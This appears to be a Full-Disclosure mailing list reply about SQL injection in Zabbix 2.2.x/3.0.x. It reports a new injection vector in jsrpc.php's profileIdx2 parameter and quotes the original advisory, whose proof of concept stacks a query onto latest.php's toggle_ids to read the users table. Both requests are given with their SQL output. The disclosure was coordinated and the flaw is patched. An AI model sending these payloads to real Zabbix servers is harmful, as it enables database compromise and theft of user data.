full-disclosure - Re: [FD] Zabbix 2.2.x, 3.0.x SQL Injection Vulnerability

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Message-Id: <D2C62135-0DD0-4331-B9C8-F2CCE51498F2@gmail.com>
Date: Fri, 12 Aug 2016 21:22:13 -0500
From: Brandon Perry <bperry.volatile@...il.com>
To: 1n3@...hmail.com
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] Zabbix 2.2.x, 3.0.x SQL Injection Vulnerability

I actually ended up finding this vuln in a different vector (in the profileIdx2 parameter).

/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: $(this).closest('.msg-bad').remove();" title="Close"></span></div>

Similarly, it requires auth unless you enable Guest.

> On Aug 11, 2016, at 7:23 PM, 1n3@...hmail.com wrote:
> 
> =========================================
> Title: Zabbix 3.0.3 SQL Injection Vulnerability
> Product: Zabbix
> Vulnerable Version(s): 2.2.x, 3.0.x
> Fixed Version: 3.0.4
> Homepage: http://www.zabbix.com
> Patch link: https://support.zabbix.com/browse/ZBX-11023
> Credit: 1N3@...wdShield
> ==========================================
> 
> 
> Vendor Description:
> =====================
> Zabbix is an open source availability and performance monitoring solution.
> 
> 
> Vulnerability Overview:
> =====================
> Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in the toggle_ids array in the latest.php page.
> 
> 
> Business Impact:
> =====================
> By exploiting this SQL injection vulnerability, an authenticated attacker (or guest user) is able to gain full access to the database. This would allow an attacker to escalate their privileges to a power user, compromise the database, or execute commands on the underlying database operating system.
> 
> Because of the functionalities Zabbix offers, an attacker with admin privileges (depending on the configuration) can execute arbitrary OS commands on the configured Zabbix hosts and server. This results in a severe impact to the monitored infrastructure.
> 
> Although the attacker needs to be authenticated in general, the system could also be at risk if the adversary has no user account. Zabbix offers a guest mode which provides a low privileged default account for users without password. If this guest mode is enabled, the SQL injection vulnerability can be exploited unauthenticated.
> 
> 
> Proof of Concept:
> =====================
> 
> latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
> 
> Result:
> SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
> latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185
> 
> 
> Disclosure Timeline:
> =====================
> 
> 7/18/2016 - Reported vulnerability to Zabbix
> 7/21/2016 - Zabbix responded with permission to file CVE and to disclose after a patch is made public
> 7/22/2016 - Zabbix released patch for vulnerability
> 8/3/2016 - CVE details submitted
> 8/11/2016 - Vulnerability details disclosed
> 
> 
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